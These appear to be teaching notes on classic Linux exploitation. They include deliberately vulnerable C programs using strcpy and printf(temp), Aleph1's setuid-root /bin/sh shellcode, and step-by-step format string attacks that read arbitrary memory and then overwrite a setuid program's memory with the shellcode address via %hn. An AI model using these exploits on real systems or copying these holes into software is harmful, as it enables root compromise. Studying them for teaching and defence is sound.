Buffer Overflow Exploits

Basic Overflow Exploits

Advanced Overflow Exploits

```
//overflow.c
main(){
   char str1[10];                          //declare a 10 byte string
   //next, copy 35 bytes of "A" to str1
   strcpy (str1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
}
```

Program 1

```
//meet.c
#include <stdio.h>          // needed for screen printing
greeting(char *temp1,char *temp2){ // greeting function to say hello
   char name[400];          // string variable to hold the name
   strcpy(name, temp2);     // copy the function argument to name
   printf("Hello %s %s\n", temp1, name); //print out the greeting
}
main(int argc, char * argv[]){   //note the format for arguments
   greeting(argv[1], argv[2]);   //call function, pass title & name
   printf("Bye %s %s\n", argv[1], argv[2]);  //say "bye"
}                                //exit program
```

Program 2

```
//shellcode.c
char shellcode[] =  //setuid(0) & Aleph1's famous shellcode, see ref.
      "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"      //setuid(0) first
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() {       //main function
   int *ret;        //ret pointer for manipulating saved return.
   ret = (int *)&ret + 2;   //setret to point to the saved return
                            //value on the stack.
   (*ret) = (int)shellcode; //change the saved return value to the
                            //address of the shellcode, so it executes.
}
```

Aleph1’s shell code

```
//fmtstr.c
#include <stdlib.h>
int main(int argc, char *argv[]){
        static int canary=0;    // stores the canary value in .data section
        char temp[2048];        // string to hold large temp string
      strcpy(temp, argv[1]);    // take argv1 input and jam into temp
      printf(temp);             // print value of temp
      printf("\n");             // print carriage return
      printf("Canary at 0x%08x = 0x%08x\n", &canary, canary); //print canary
}

#gcc -o fmtstr fmtstr.c
#./fmtstr Testing
Testing
Canary at 0x08049440 = 0x00000000
#chmod u+s fmtstr
#su joeuser
$
```

Program 3

Reading from arbitrary memory

- Using %x token to Map Out the Stack

```
$ ./fmtstr "AAAA %08x %08x %08x %08x"
AAAA bffffd2d 00000648 00000774 41414141
Canary at 0x08049440 = 0x00000000
$
```

- Using %s token to Read Arbitrary Strings

```
$ ./fmtstr "AAAA %08x %08x %08x %s"
Segmentation fault
$
```

- Reading Arbitrary Memory

```
$ cat getenv.c
#include <stdlib.h>
int main(int argc, char *argv[]){
        char * addr;   //simple string to hold our input in bss section
        addr = getenv(argv[1]);   //initialize the addr var with input
        printf("%s is located at %p\n", argv[1], addr);//display location
}
$ gcc -o getenv getenv.c
```

```
$ ./getenv SHELL
SHELL is located at 0xbffffd84
```

```
$ ./fmtstr `printf "\x84\xfd\xff\xbf"`" %08x %08x %08x %s"
ýÿ¿ bffffd2f 00000648 00000774 /bin/bash
Canary at 0x08049440 = 0x00000000
```

Simplifying with Direct Parameter Access

```
$cat dirpar.c
//dirpar.c
main(){
   printf ("This is a %3$s.\n", 1, 2, "test");
}
$gcc -o dirpar dirpar.c
$./dirpar
This is a test.
$
```

```
$ ./fmtstr `printf "\x84\xfd\xff\xbf"`"%4\$s"
ýÿ¿/bin/bash
Canary at 0x08049440 = 0x00000000
```

Writing to Arbitrary Memory

- Try to overwrite the canary address (0x08049440) with address of shellcode
- Magic Formula
  - Easiest way to write 4 bytes in memory is to split it into two chunks
  - Then use #$ and %hn tokens to put two values in right places

```
$ export SC=`cat sc`
$ ./getenv SC
SC is located at 0xbfffff50          !!!!!!yours will be different!!!!!!
```

Split it into two values:

Two high – order bytes (HOB): 0xbfff

Two low – order bytes (LOB): 0xff50

HOB<LOB

When HOB < LOB	When LOB < HOB	Notes	In this case
[addr+2][addr]	[addr+2][addr]	Notice second 16 bits go first.	\x42\x94\x04\x08\ x40\x94\x04\x08
%.[HOB – 8]x	%.[LOB – 8]x	"." Used to ensure integers. Expressed in decimal. See note after the table for description of "–8".	0xbfff–8=49143 in decimal, so: **%.49143x**
%[offset]$hn	%[offset+1]$hn		**%4\$hn**
%.[LOB – HOB]x	%.[HOB – LOB]x	"." Used to ensure integers. Expressed in decimal.	0xff50–0xbfff= 16209 in decimal: **%.16209x**
%[offset+1]$hn	%[offset]$hn		**%5\$hn**

```
$ ./fmtstr `printf
"\x42\x94\x04\x08\x40\x94\x04\x08"`%.49143x%4\$hn%.16209x%5\$hn
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000
<truncated>
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000648
Canary at 0x08049440 = 0xbfffff50
```